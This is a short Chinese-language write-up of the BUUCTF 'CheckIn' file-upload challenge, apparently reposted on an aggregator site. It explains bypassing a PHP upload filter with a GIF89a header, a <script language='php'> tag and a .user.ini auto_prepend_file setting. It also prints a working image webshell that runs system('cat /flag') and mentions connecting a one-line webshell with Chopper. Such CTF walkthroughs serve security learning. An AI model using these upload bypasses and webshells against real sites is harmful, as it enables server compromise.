buuctf CheckIn

Posted chr1sto

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf CheckIn相关的知识,希望对你有一定的参考价值。

文件上传

 

黑名单过滤

调用了phpexif_imagetype()函数

利用文件头GIF89a绕过即可

 

过滤了文本内容<?

<script language=‘php‘><script>绕过即可

 

修改MIME和利用特殊扩展名均失败

 

正确姿势:

利用 .user.ini

.user.ini

我们先在php手册上看一下对.user.ini的介绍:

技术图片

也就是说我们可以在.user.ini中设置php.iniPHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

在p牛的文章中提到了两个有趣的设置:auto_prepend_fileauto_append_file

我们再到手册中看了下这两个设置的定义:

技术图片

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

 

看过.user.ini的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini

GIF89a
auto_prepend_file=a.jpg

然后再上传一个这样的图片马a.jpg:

GIF89a
<script language=‘php‘>system(‘cat /flag‘);</script>

使上传路径下的php文件包含a.jpg
相当于调用require()函数


访问上传路径下的php文件即可得到flag
或者可以在a.jpg里写入一句话
菜刀连接后自己找flag

以上是关于buuctf CheckIn的主要内容,如果未能解决你的问题,请参考以下文章

Buuctf-web-[SUCTF 2019]CheckIn

VisualStudioOnline使用教程--Readers tfs组部分代码checkin权限修改

BUUCTF

BuuCTF Web Writeup 第二部分

[BUUCTF][HITCON 2017]SSRFme

BUUCTF-[HCTF 2018]WarmUp